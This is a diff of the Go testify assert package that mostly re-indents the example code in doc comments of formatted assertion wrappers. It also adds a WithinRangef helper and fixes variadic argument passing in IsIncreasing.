// // add assertions as needed; any assertion failure will fail the current tick
|
||||
// assert.True(c, externalValue, "expected 'externalValue' to be true")
|
||||
// }, 1*time.Second, 10*time.Second, "external state has not changed to 'true'; still false")
|
||||
func EventuallyWithTf(t TestingT, condition func(collect *CollectT), waitFor time.Duration, tick time.Duration, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return EventuallyWithT(t, condition, waitFor, tick, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// Exactlyf asserts that two objects are equal in value and type.
|
||||
//
|
||||
// assert.Exactlyf(t, int32(123), int64(123), "error message %s", "formatted")
|
||||
// assert.Exactlyf(t, int32(123), int64(123), "error message %s", "formatted")
|
||||
func Exactlyf(t TestingT, expected interface{}, actual interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -171,7 +225,7 @@ func FailNowf(t TestingT, failureMessage string, msg string, args ...interface{}
|
||||
|
||||
// Falsef asserts that the specified value is false.
|
||||
//
|
||||
// assert.Falsef(t, myBool, "error message %s", "formatted")
|
||||
// assert.Falsef(t, myBool, "error message %s", "formatted")
|
||||
func Falsef(t TestingT, value bool, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -190,9 +244,9 @@ func FileExistsf(t TestingT, path string, msg string, args ...interface{}) bool
|
||||
|
||||
// Greaterf asserts that the first element is greater than the second
|
||||
//
|
||||
// assert.Greaterf(t, 2, 1, "error message %s", "formatted")
|
||||
// assert.Greaterf(t, float64(2), float64(1), "error message %s", "formatted")
|
||||
// assert.Greaterf(t, "b", "a", "error message %s", "formatted")
|
||||
// assert.Greaterf(t, 2, 1, "error message %s", "formatted")
|
||||
// assert.Greaterf(t, float64(2), float64(1), "error message %s", "formatted")
|
||||
// assert.Greaterf(t, "b", "a", "error message %s", "formatted")
|
||||
func Greaterf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -202,10 +256,10 @@ func Greaterf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...in
|
||||
|
||||
// GreaterOrEqualf asserts that the first element is greater than or equal to the second
|
||||
//
|
||||
// assert.GreaterOrEqualf(t, 2, 1, "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, 2, 2, "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, "b", "a", "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, "b", "b", "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, 2, 1, "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, 2, 2, "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, "b", "a", "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, "b", "b", "error message %s", "formatted")
|
||||
func GreaterOrEqualf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -216,7 +270,7 @@ func GreaterOrEqualf(t TestingT, e1 interface{}, e2 interface{}, msg string, arg
|
||||
// HTTPBodyContainsf asserts that a specified handler returns a
|
||||
// body that contains a string.
|
||||
//
|
||||
// assert.HTTPBodyContainsf(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky", "error message %s", "formatted")
|
||||
// assert.HTTPBodyContainsf(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky", "error message %s", "formatted")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPBodyContainsf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, str interface{}, msg string, args ...interface{}) bool {
|
||||
@@ -229,7 +283,7 @@ func HTTPBodyContainsf(t TestingT, handler http.HandlerFunc, method string, url
|
||||
// HTTPBodyNotContainsf asserts that a specified handler returns a
|
||||
// body that does not contain a string.
|
||||
//
|
||||
// assert.HTTPBodyNotContainsf(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky", "error message %s", "formatted")
|
||||
// assert.HTTPBodyNotContainsf(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky", "error message %s", "formatted")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPBodyNotContainsf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, str interface{}, msg string, args ...interface{}) bool {
|
||||
@@ -241,7 +295,7 @@ func HTTPBodyNotContainsf(t TestingT, handler http.HandlerFunc, method string, u
|
||||
|
||||
// HTTPErrorf asserts that a specified handler returns an error status code.
|
||||
//
|
||||
// assert.HTTPErrorf(t, myHandler, "POST", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
// assert.HTTPErrorf(t, myHandler, "POST", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPErrorf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, msg string, args ...interface{}) bool {
|
||||
@@ -253,7 +307,7 @@ func HTTPErrorf(t TestingT, handler http.HandlerFunc, method string, url string,
|
||||
|
||||
// HTTPRedirectf asserts that a specified handler returns a redirect status code.
|
||||
//
|
||||
// assert.HTTPRedirectf(t, myHandler, "GET", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
// assert.HTTPRedirectf(t, myHandler, "GET", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPRedirectf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, msg string, args ...interface{}) bool {
|
||||
@@ -265,7 +319,7 @@ func HTTPRedirectf(t TestingT, handler http.HandlerFunc, method string, url stri
|
||||
|
||||
// HTTPStatusCodef asserts that a specified handler returns a specified status code.
|
||||
//
|
||||
// assert.HTTPStatusCodef(t, myHandler, "GET", "/notImplemented", nil, 501, "error message %s", "formatted")
|
||||
// assert.HTTPStatusCodef(t, myHandler, "GET", "/notImplemented", nil, 501, "error message %s", "formatted")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPStatusCodef(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, statuscode int, msg string, args ...interface{}) bool {
|
||||
@@ -277,7 +331,7 @@ func HTTPStatusCodef(t TestingT, handler http.HandlerFunc, method string, url st
|
||||
|
||||
// HTTPSuccessf asserts that a specified handler returns a success status code.
|
||||
//
|
||||
// assert.HTTPSuccessf(t, myHandler, "POST", "http://www.google.com", nil, "error message %s", "formatted")
|
||||
// assert.HTTPSuccessf(t, myHandler, "POST", "http://www.google.com", nil, "error message %s", "formatted")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPSuccessf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, msg string, args ...interface{}) bool {
|
||||
@@ -289,7 +343,7 @@ func HTTPSuccessf(t TestingT, handler http.HandlerFunc, method string, url strin
|
||||
|
||||
// Implementsf asserts that an object is implemented by the specified interface.
|
||||
//
|
||||
// assert.Implementsf(t, (*MyInterface)(nil), new(MyObject), "error message %s", "formatted")
|
||||
// assert.Implementsf(t, (*MyInterface)(nil), new(MyObject), "error message %s", "formatted")
|
||||
func Implementsf(t TestingT, interfaceObject interface{}, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -299,7 +353,7 @@ func Implementsf(t TestingT, interfaceObject interface{}, object interface{}, ms
|
||||
|
||||
// InDeltaf asserts that the two numerals are within delta of each other.
|
||||
//
|
||||
// assert.InDeltaf(t, math.Pi, 22/7.0, 0.01, "error message %s", "formatted")
|
||||
// assert.InDeltaf(t, math.Pi, 22/7.0, 0.01, "error message %s", "formatted")
|
||||
func InDeltaf(t TestingT, expected interface{}, actual interface{}, delta float64, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -341,9 +395,9 @@ func InEpsilonSlicef(t TestingT, expected interface{}, actual interface{}, epsil
|
||||
|
||||
// IsDecreasingf asserts that the collection is decreasing
|
||||
//
|
||||
// assert.IsDecreasingf(t, []int{2, 1, 0}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []float{2, 1}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []string{"b", "a"}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []int{2, 1, 0}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []float{2, 1}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []string{"b", "a"}, "error message %s", "formatted")
|
||||
func IsDecreasingf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -353,9 +407,9 @@ func IsDecreasingf(t TestingT, object interface{}, msg string, args ...interface
|
||||
|
||||
// IsIncreasingf asserts that the collection is increasing
|
||||
//
|
||||
// assert.IsIncreasingf(t, []int{1, 2, 3}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []float{1, 2}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []string{"a", "b"}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []int{1, 2, 3}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []float{1, 2}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []string{"a", "b"}, "error message %s", "formatted")
|
||||
func IsIncreasingf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -365,9 +419,9 @@ func IsIncreasingf(t TestingT, object interface{}, msg string, args ...interface
|
||||
|
||||
// IsNonDecreasingf asserts that the collection is not decreasing
|
||||
//
|
||||
// assert.IsNonDecreasingf(t, []int{1, 1, 2}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []float{1, 2}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []string{"a", "b"}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []int{1, 1, 2}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []float{1, 2}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []string{"a", "b"}, "error message %s", "formatted")
|
||||
func IsNonDecreasingf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -377,9 +431,9 @@ func IsNonDecreasingf(t TestingT, object interface{}, msg string, args ...interf
|
||||
|
||||
// IsNonIncreasingf asserts that the collection is not increasing
|
||||
//
|
||||
// assert.IsNonIncreasingf(t, []int{2, 1, 1}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []float{2, 1}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []string{"b", "a"}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []int{2, 1, 1}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []float{2, 1}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []string{"b", "a"}, "error message %s", "formatted")
|
||||
func IsNonIncreasingf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -397,7 +451,7 @@ func IsTypef(t TestingT, expectedType interface{}, object interface{}, msg strin
|
||||
|
||||
// JSONEqf asserts that two JSON strings are equivalent.
|
||||
//
|
||||
// assert.JSONEqf(t, `{"hello": "world", "foo": "bar"}`, `{"foo": "bar", "hello": "world"}`, "error message %s", "formatted")
|
||||
// assert.JSONEqf(t, `{"hello": "world", "foo": "bar"}`, `{"foo": "bar", "hello": "world"}`, "error message %s", "formatted")
|
||||
func JSONEqf(t TestingT, expected string, actual string, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -408,7 +462,7 @@ func JSONEqf(t TestingT, expected string, actual string, msg string, args ...int
|
||||
// Lenf asserts that the specified object has specific length.
|
||||
// Lenf also fails if the object has a type that len() not accept.
|
||||
//
|
||||
// assert.Lenf(t, mySlice, 3, "error message %s", "formatted")
|
||||
// assert.Lenf(t, mySlice, 3, "error message %s", "formatted")
|
||||
func Lenf(t TestingT, object interface{}, length int, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -418,9 +472,9 @@ func Lenf(t TestingT, object interface{}, length int, msg string, args ...interf
|
||||
|
||||
// Lessf asserts that the first element is less than the second
|
||||
//
|
||||
// assert.Lessf(t, 1, 2, "error message %s", "formatted")
|
||||
// assert.Lessf(t, float64(1), float64(2), "error message %s", "formatted")
|
||||
// assert.Lessf(t, "a", "b", "error message %s", "formatted")
|
||||
// assert.Lessf(t, 1, 2, "error message %s", "formatted")
|
||||
// assert.Lessf(t, float64(1), float64(2), "error message %s", "formatted")
|
||||
// assert.Lessf(t, "a", "b", "error message %s", "formatted")
|
||||
func Lessf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -430,10 +484,10 @@ func Lessf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...inter
|
||||
|
||||
// LessOrEqualf asserts that the first element is less than or equal to the second
|
||||
//
|
||||
// assert.LessOrEqualf(t, 1, 2, "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, 2, 2, "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, "a", "b", "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, "b", "b", "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, 1, 2, "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, 2, 2, "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, "a", "b", "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, "b", "b", "error message %s", "formatted")
|
||||
func LessOrEqualf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -443,8 +497,8 @@ func LessOrEqualf(t TestingT, e1 interface{}, e2 interface{}, msg string, args .
|
||||
|
||||
// Negativef asserts that the specified element is negative
|
||||
//
|
||||
// assert.Negativef(t, -1, "error message %s", "formatted")
|
||||
// assert.Negativef(t, -1.23, "error message %s", "formatted")
|
||||
// assert.Negativef(t, -1, "error message %s", "formatted")
|
||||
// assert.Negativef(t, -1.23, "error message %s", "formatted")
|
||||
func Negativef(t TestingT, e interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -455,7 +509,7 @@ func Negativef(t TestingT, e interface{}, msg string, args ...interface{}) bool
|
||||
// Neverf asserts that the given condition doesn't satisfy in waitFor time,
|
||||
// periodically checking the target function each tick.
|
||||
//
|
||||
// assert.Neverf(t, func() bool { return false; }, time.Second, 10*time.Millisecond, "error message %s", "formatted")
|
||||
// assert.Neverf(t, func() bool { return false; }, time.Second, 10*time.Millisecond, "error message %s", "formatted")
|
||||
func Neverf(t TestingT, condition func() bool, waitFor time.Duration, tick time.Duration, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -465,7 +519,7 @@ func Neverf(t TestingT, condition func() bool, waitFor time.Duration, tick time.
|
||||
|
||||
// Nilf asserts that the specified object is nil.
|
||||
//
|
||||
// assert.Nilf(t, err, "error message %s", "formatted")
|
||||
// assert.Nilf(t, err, "error message %s", "formatted")
|
||||
func Nilf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -484,10 +538,10 @@ func NoDirExistsf(t TestingT, path string, msg string, args ...interface{}) bool
|
||||
|
||||
// NoErrorf asserts that a function returned no error (i.e. `nil`).
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.NoErrorf(t, err, "error message %s", "formatted") {
|
||||
// assert.Equal(t, expectedObj, actualObj)
|
||||
// }
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.NoErrorf(t, err, "error message %s", "formatted") {
|
||||
// assert.Equal(t, expectedObj, actualObj)
|
||||
// }
|
||||
func NoErrorf(t TestingT, err error, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -507,9 +561,9 @@ func NoFileExistsf(t TestingT, path string, msg string, args ...interface{}) boo
|
||||
// NotContainsf asserts that the specified string, list(array, slice...) or map does NOT contain the
|
||||
// specified substring or element.
|
||||
//
|
||||
// assert.NotContainsf(t, "Hello World", "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, ["Hello", "World"], "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, {"Hello": "World"}, "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, "Hello World", "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, ["Hello", "World"], "Earth", "error message %s", "formatted")
|
||||
// assert.NotContainsf(t, {"Hello": "World"}, "Earth", "error message %s", "formatted")
|
||||
func NotContainsf(t TestingT, s interface{}, contains interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -520,9 +574,9 @@ func NotContainsf(t TestingT, s interface{}, contains interface{}, msg string, a
|
||||
// NotEmptyf asserts that the specified object is NOT empty. I.e. not nil, "", false, 0 or either
|
||||
// a slice or a channel with len == 0.
|
||||
//
|
||||
// if assert.NotEmptyf(t, obj, "error message %s", "formatted") {
|
||||
// assert.Equal(t, "two", obj[1])
|
||||
// }
|
||||
// if assert.NotEmptyf(t, obj, "error message %s", "formatted") {
|
||||
// assert.Equal(t, "two", obj[1])
|
||||
// }
|
||||
func NotEmptyf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -532,7 +586,7 @@ func NotEmptyf(t TestingT, object interface{}, msg string, args ...interface{})
|
||||
|
||||
// NotEqualf asserts that the specified values are NOT equal.
|
||||
//
|
||||
// assert.NotEqualf(t, obj1, obj2, "error message %s", "formatted")
|
||||
// assert.NotEqualf(t, obj1, obj2, "error message %s", "formatted")
|
||||
//
|
||||
// Pointer variable equality is determined based on the equality of the
|
||||
// referenced values (as opposed to the memory addresses).
|
||||
@@ -545,7 +599,7 @@ func NotEqualf(t TestingT, expected interface{}, actual interface{}, msg string,
|
||||
|
||||
// NotEqualValuesf asserts that two objects are not equal even when converted to the same type
|
||||
//
|
||||
// assert.NotEqualValuesf(t, obj1, obj2, "error message %s", "formatted")
|
||||
// assert.NotEqualValuesf(t, obj1, obj2, "error message %s", "formatted")
|
||||
func NotEqualValuesf(t TestingT, expected interface{}, actual interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -564,7 +618,7 @@ func NotErrorIsf(t TestingT, err error, target error, msg string, args ...interf
|
||||
|
||||
// NotNilf asserts that the specified object is not nil.
|
||||
//
|
||||
// assert.NotNilf(t, err, "error message %s", "formatted")
|
||||
// assert.NotNilf(t, err, "error message %s", "formatted")
|
||||
func NotNilf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -574,7 +628,7 @@ func NotNilf(t TestingT, object interface{}, msg string, args ...interface{}) bo
|
||||
|
||||
// NotPanicsf asserts that the code inside the specified PanicTestFunc does NOT panic.
|
||||
//
|
||||
// assert.NotPanicsf(t, func(){ RemainCalm() }, "error message %s", "formatted")
|
||||
// assert.NotPanicsf(t, func(){ RemainCalm() }, "error message %s", "formatted")
|
||||
func NotPanicsf(t TestingT, f PanicTestFunc, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -584,8 +638,8 @@ func NotPanicsf(t TestingT, f PanicTestFunc, msg string, args ...interface{}) bo
|
||||
|
||||
// NotRegexpf asserts that a specified regexp does not match a string.
|
||||
//
|
||||
// assert.NotRegexpf(t, regexp.MustCompile("starts"), "it's starting", "error message %s", "formatted")
|
||||
// assert.NotRegexpf(t, "^start", "it's not starting", "error message %s", "formatted")
|
||||
// assert.NotRegexpf(t, regexp.MustCompile("starts"), "it's starting", "error message %s", "formatted")
|
||||
// assert.NotRegexpf(t, "^start", "it's not starting", "error message %s", "formatted")
|
||||
func NotRegexpf(t TestingT, rx interface{}, str interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -595,7 +649,7 @@ func NotRegexpf(t TestingT, rx interface{}, str interface{}, msg string, args ..
|
||||
|
||||
// NotSamef asserts that two pointers do not reference the same object.
|
||||
//
|
||||
// assert.NotSamef(t, ptr1, ptr2, "error message %s", "formatted")
|
||||
// assert.NotSamef(t, ptr1, ptr2, "error message %s", "formatted")
|
||||
//
|
||||
// Both arguments must be pointer variables. Pointer variable sameness is
|
||||
// determined based on the equality of both type and value.
|
||||
@@ -609,7 +663,7 @@ func NotSamef(t TestingT, expected interface{}, actual interface{}, msg string,
|
||||
// NotSubsetf asserts that the specified list(array, slice...) contains not all
|
||||
// elements given in the specified subset(array, slice...).
|
||||
//
|
||||
// assert.NotSubsetf(t, [1, 3, 4], [1, 2], "But [1, 3, 4] does not contain [1, 2]", "error message %s", "formatted")
|
||||
// assert.NotSubsetf(t, [1, 3, 4], [1, 2], "But [1, 3, 4] does not contain [1, 2]", "error message %s", "formatted")
|
||||
func NotSubsetf(t TestingT, list interface{}, subset interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -627,7 +681,7 @@ func NotZerof(t TestingT, i interface{}, msg string, args ...interface{}) bool {
|
||||
|
||||
// Panicsf asserts that the code inside the specified PanicTestFunc panics.
|
||||
//
|
||||
// assert.Panicsf(t, func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
// assert.Panicsf(t, func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
func Panicsf(t TestingT, f PanicTestFunc, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -639,7 +693,7 @@ func Panicsf(t TestingT, f PanicTestFunc, msg string, args ...interface{}) bool
|
||||
// panics, and that the recovered panic value is an error that satisfies the
|
||||
// EqualError comparison.
|
||||
//
|
||||
// assert.PanicsWithErrorf(t, "crazy error", func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
// assert.PanicsWithErrorf(t, "crazy error", func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
func PanicsWithErrorf(t TestingT, errString string, f PanicTestFunc, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -650,7 +704,7 @@ func PanicsWithErrorf(t TestingT, errString string, f PanicTestFunc, msg string,
|
||||
// PanicsWithValuef asserts that the code inside the specified PanicTestFunc panics, and that
|
||||
// the recovered panic value equals the expected panic value.
|
||||
//
|
||||
// assert.PanicsWithValuef(t, "crazy error", func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
// assert.PanicsWithValuef(t, "crazy error", func(){ GoCrazy() }, "error message %s", "formatted")
|
||||
func PanicsWithValuef(t TestingT, expected interface{}, f PanicTestFunc, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -660,8 +714,8 @@ func PanicsWithValuef(t TestingT, expected interface{}, f PanicTestFunc, msg str
|
||||
|
||||
// Positivef asserts that the specified element is positive
|
||||
//
|
||||
// assert.Positivef(t, 1, "error message %s", "formatted")
|
||||
// assert.Positivef(t, 1.23, "error message %s", "formatted")
|
||||
// assert.Positivef(t, 1, "error message %s", "formatted")
|
||||
// assert.Positivef(t, 1.23, "error message %s", "formatted")
|
||||
func Positivef(t TestingT, e interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -671,8 +725,8 @@ func Positivef(t TestingT, e interface{}, msg string, args ...interface{}) bool
|
||||
|
||||
// Regexpf asserts that a specified regexp matches a string.
|
||||
//
|
||||
// assert.Regexpf(t, regexp.MustCompile("start"), "it's starting", "error message %s", "formatted")
|
||||
// assert.Regexpf(t, "start...$", "it's not starting", "error message %s", "formatted")
|
||||
// assert.Regexpf(t, regexp.MustCompile("start"), "it's starting", "error message %s", "formatted")
|
||||
// assert.Regexpf(t, "start...$", "it's not starting", "error message %s", "formatted")
|
||||
func Regexpf(t TestingT, rx interface{}, str interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -682,7 +736,7 @@ func Regexpf(t TestingT, rx interface{}, str interface{}, msg string, args ...in
|
||||
|
||||
// Samef asserts that two pointers reference the same object.
|
||||
//
|
||||
// assert.Samef(t, ptr1, ptr2, "error message %s", "formatted")
|
||||
// assert.Samef(t, ptr1, ptr2, "error message %s", "formatted")
|
||||
//
|
||||
// Both arguments must be pointer variables. Pointer variable sameness is
|
||||
// determined based on the equality of both type and value.
|
||||
@@ -696,7 +750,7 @@ func Samef(t TestingT, expected interface{}, actual interface{}, msg string, arg
|
||||
// Subsetf asserts that the specified list(array, slice...) contains all
|
||||
// elements given in the specified subset(array, slice...).
|
||||
//
|
||||
// assert.Subsetf(t, [1, 2, 3], [1, 2], "But [1, 2, 3] does contain [1, 2]", "error message %s", "formatted")
|
||||
// assert.Subsetf(t, [1, 2, 3], [1, 2], "But [1, 2, 3] does contain [1, 2]", "error message %s", "formatted")
|
||||
func Subsetf(t TestingT, list interface{}, subset interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -706,7 +760,7 @@ func Subsetf(t TestingT, list interface{}, subset interface{}, msg string, args
|
||||
|
||||
// Truef asserts that the specified value is true.
|
||||
//
|
||||
// assert.Truef(t, myBool, "error message %s", "formatted")
|
||||
// assert.Truef(t, myBool, "error message %s", "formatted")
|
||||
func Truef(t TestingT, value bool, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -716,7 +770,7 @@ func Truef(t TestingT, value bool, msg string, args ...interface{}) bool {
|
||||
|
||||
// WithinDurationf asserts that the two times are within duration delta of each other.
|
||||
//
|
||||
// assert.WithinDurationf(t, time.Now(), time.Now(), 10*time.Second, "error message %s", "formatted")
|
||||
// assert.WithinDurationf(t, time.Now(), time.Now(), 10*time.Second, "error message %s", "formatted")
|
||||
func WithinDurationf(t TestingT, expected time.Time, actual time.Time, delta time.Duration, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -724,6 +778,16 @@ func WithinDurationf(t TestingT, expected time.Time, actual time.Time, delta tim
|
||||
return WithinDuration(t, expected, actual, delta, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// WithinRangef asserts that a time is within a time range (inclusive).
|
||||
//
|
||||
// assert.WithinRangef(t, time.Now(), time.Now().Add(-time.Second), time.Now().Add(time.Second), "error message %s", "formatted")
|
||||
func WithinRangef(t TestingT, actual time.Time, start time.Time, end time.Time, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return WithinRange(t, actual, start, end, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// YAMLEqf asserts that two YAML strings are equivalent.
|
||||
func YAMLEqf(t TestingT, expected string, actual string, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
|
||||
+296
-168
File diff suppressed because it is too large.
Load diff
+16
-16
@@ -46,36 +46,36 @@ func isOrdered(t TestingT, object interface{}, allowedComparesResults []CompareT
|
||||
|
||||
// IsIncreasing asserts that the collection is increasing
|
||||
//
|
||||
// assert.IsIncreasing(t, []int{1, 2, 3})
|
||||
// assert.IsIncreasing(t, []float{1, 2})
|
||||
// assert.IsIncreasing(t, []string{"a", "b"})
|
||||
// assert.IsIncreasing(t, []int{1, 2, 3})
|
||||
// assert.IsIncreasing(t, []float{1, 2})
|
||||
// assert.IsIncreasing(t, []string{"a", "b"})
|
||||
func IsIncreasing(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
return isOrdered(t, object, []CompareType{compareLess}, "\"%v\" is not less than \"%v\"", msgAndArgs)
|
||||
return isOrdered(t, object, []CompareType{compareLess}, "\"%v\" is not less than \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// IsNonIncreasing asserts that the collection is not increasing
|
||||
//
|
||||
// assert.IsNonIncreasing(t, []int{2, 1, 1})
|
||||
// assert.IsNonIncreasing(t, []float{2, 1})
|
||||
// assert.IsNonIncreasing(t, []string{"b", "a"})
|
||||
// assert.IsNonIncreasing(t, []int{2, 1, 1})
|
||||
// assert.IsNonIncreasing(t, []float{2, 1})
|
||||
// assert.IsNonIncreasing(t, []string{"b", "a"})
|
||||
